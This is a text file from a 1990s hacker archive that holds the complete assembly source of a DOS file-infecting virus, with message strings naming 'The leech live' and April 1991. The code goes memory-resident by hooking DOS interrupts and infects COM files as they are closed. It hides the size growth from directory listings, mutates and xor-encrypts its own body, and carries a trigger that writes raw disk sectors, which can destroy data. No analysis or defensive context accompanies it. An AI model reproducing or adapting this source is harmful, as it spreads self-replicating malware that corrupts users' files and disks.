The Hacker's Encyclopedia 1998

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Text File | 2003-06-11 | 14.7 KB | 502 lines

: code segment assume cs:code org 100h start: jmp begin org 200h begin: jmp short beg FileSize dw 0E00h; 02h int21vec dd 0 ; 04h oldint13 dd 0 ; 08h oldint24 dd 0 ; 0Ch Date dw 0 ; 10h Time dw 0 ; 12h db 1 ; 14h version dw 0 ; 15h - mutation status beg: call codenext codenext: pop si mutation1: cli push ds pop es mov bp,sp mov sp,si add sp,3FEh-(offset codenext-offset begin) mutation2: mov cx,ss mov ax,cs mov ss,ax pop bx dec sp dec sp add si,offset mybeg-offset codenext codeloop: pop ax xor al,bh push ax dec sp cmp sp,si jnc codeloop mybeg: mov ax,es dec ax mov ds,ax add word ptr ds:[3],-082h mov bx,ds:[3] mov byte ptr ds:[0],5ah inc ax inc bx add bx,ax mov es,bx mov ss,cx add si,offset begin-offset mybeg mov bx,ds mov ds,ax mov sp,bp push si xor di,di mov cx,400h cld rep movsb pop si push bx mov bx,offset inblock-offset begin push es push bx retf inblock: mov es,ax mov ax,cs:[2] ; File Size add ax,100h mov di,si mov si,ax mov cx,400h rep movsb pop es xor ax,ax mov ds,ax sti cmp word ptr ds:[21h*4],offset int21-offset begin jne count sub word ptr es:[3],-082h test byte ptr ds:[46ch],11100111b jnz efect1 push cs pop ds mov si,offset msg-offset begin efect2: lodsb or al,0 jz efect3 mov ah,0eh int 10h jmp short efect2 efect3: mov ah,32h xor dl,dl int 21h jc efect1 call setaddr call setint mov dx,ds:[bx+10h] mov ah,19h int 21h mov cx,2 int 26h pop bx call setint efect1: jmp quit count: add word ptr es:[12h],-082h mov bx,ds:[46ch] push ds push cs pop ds push cs pop es mov byte ptr ds:[14h],1 and bh,80h mov ds:[4ffh],bh test bl,00000001b jnz mut1 mov si,offset mutation1-offset begin add si,ds:[15h] lodsb xchg al,ds:[si] mov ds:[si-1],al mut1: test bl,00000010b jnz mut2 mov si,offset mutation2-offset begin add si,ds:[15h] lodsw xchg ax,ds:[si] mov ds:[si-2],ax mut2: test bl,00000100b jnz mut3 mov si,offset codeloop-offset begin mov al,2 xor byte ptr ds:[si],al xor byte ptr ds:[si+2],al xor byte ptr ds:[si+3],al mut3: test bl,00001000b jnz mut4 mov si,offset codenext-offset begin mov di,400h mov cx,offset codeloop-offset codenext-2 push si push di lodsb cmp al,5eh je jmp1 inc si jmp1: push cx rep movsb pop cx pop si pop di cmp al,5eh je jmp2 mov al,5Eh stosb rep movsb mov al,90h stosb xor ax,ax jmp short jmp3 jmp2: mov ax,0C68Fh stosw rep movsb mov ax,1 jmp3: mov cs:[15h],ax mut4: mov ah,30h int 21h cmp ax,1e03h jne nodos33 mov ah,34h int 21h mov bx,1460h jmp short dos33 nodos33: mov ax,3521h int 21h dos33: mov ds:[4],bx mov ds:[6],es mov si,21h*4 pop ds push si push cs pop es mov di,offset intend-offset begin+1 movsw movsw pop di push ds pop es mov ax,offset int21-offset begin stosw mov ax,cs stosw mov di,offset mybeg-offset begin mov al,cs:[3ffh] coderloop: xor cs:[di],al inc di cmp di,offset coderloop-offset begin jc coderloop quit: mov ah,62h int 21h push bx mov ds,bx mov es,bx mov ax,100h push ax retf ;------------------------------------------------------------------------------ infect: push si push ds push es push di cld push cs pop ds xor dx,dx call movefp mov dx,400h mov ah,3fh mov cx,3 call Dos jc infect4 xor di,di mov ax,word ptr ds:[400h] mov cx,ds:[0] cmp cx,ax je infect8 cmp al,0EBH ; near jmp jne infect1 mov al,ah xor ah,ah add ax,2 mov di,ax infect1: cmp al,0E9h ; far jmp jne infect2 mov ax,ds:[401h] add ax,3 mov di,ax xor ax,ax infect2: cmp ax,'MZ' je infect4 cmp ax,'ZM' jne infect3 infect4: stc infect8: jmp infectquit infect3: mov dx,di push cx call movefp mov dx,400h mov ah,3fh mov cx,dx call Dos pop cx jc infect4 cmp ds:[400h],cx je infect8 mov ax,di sub ah,-4 cmp ax,ds:[2] jnc infect4 mov dx,ds:[2] call movefp mov dx,400h mov cx,dx mov ah,40h call Dos infect6: jc infectquit mov dx,di call movefp push cs pop es mov di,400h push di push di xor si,si mov cx,di rep movsb mov si,400h+offset coderloop-offset begin mov al,ds:[7ffh] infect5: xor ds:[si],al inc si cmp si,07ffh jc infect5 pop cx pop dx mov ah,40h call Dos infectquit: pop di pop es pop ds pop si ret int21: cmp ax,4b00h je exec cmp ah,3eh je close cmp ah,11h je dir cmp ah,12h je dir intend: db 0eah,0,0,0,0 dir: push si mov si,offset intend-offset begin+1 pushf call dword ptr cs:[si] pop si push ax push bx push es mov ah,2fh call dos cmp byte ptr es:[bx],0ffh jne dir2 add bx,7 dir2: mov ax,es:[bx+17h] and ax,1fh cmp ax,1eh jne dir1 mov ax,es:[bx+1dh] cmp ax,0801h jc dir1 sub ax,400h mov es:[bx+1dh],ax dir1: pop es pop bx pop ax iret int24: mov al,3 iret Dos: pushf call dword ptr cs:[4] ret moveFP: xor cx,cx mov ax,4200h call Dos ret exec: push ax push bx mov byte ptr cs:[14h],0 mov ax,3d00h call dos mov bx,ax mov ah,3eh int 21h pop bx pop ax intendjmp: jmp short intend close: or byte ptr cs:[14h],0 jnz intendjmp push cx push dx push di push es push ax push bx call setaddr call setint mov ax,1220h int 2fh jc closequit mov ax,1216h mov bl,es:[di] xor bh,bh int 2fh mov ax,es:[di+11h] mov cs:[2],ax mov ax,es:[di+0dh] and al,0f8h mov cs:[12h],ax mov ax,es:[di+0fh] mov cs:[10h],ax cmp word ptr es:[di+29h],'MO' jne closequit cmp byte ptr es:[di+28h],'C' jne closequit cmp cs:[2],0FA00h jnc closequit mov al,20h xchg al,es:[di+4] mov ah,2 xchg es:[di+2],ah pop bx push bx push ax call infect pop ax mov es:[di+4],al mov es:[di+2],ah mov cx,cs:[12h] jc close1 or cl,1fh and cl,0feh close1: mov dx,cs:[10h] mov ax,5701h call Dos closequit: pop bx pop ax pop es pop di pop dx pop cx call dos call setint retf 02 setaddr: mov ah,13h int 2fh mov cs:[8d],bx mov cs:[10d],es int 2fh mov cs:[12d],offset int24-offset begin mov cs:[14d],cs ret setint: push ax push si push ds pushf cli cld xor ax,ax mov ds,ax mov si,13h*4 lodsw xchg ax,cs:[8] mov ds:[si-2],ax lodsw xchg ax,cs:[10d] mov ds:[si-2],ax mov si,24h*4 lodsw xchg ax,cs:[12d] mov ds:[si-2],ax lodsw xchg ax,cs:[14d] mov ds:[si-2],ax popf pop ds pop si pop ax ret msg: db 'The leech live ...',0 db 'April 1991 The Topler.',0 org 0F00h int 20h code ends end start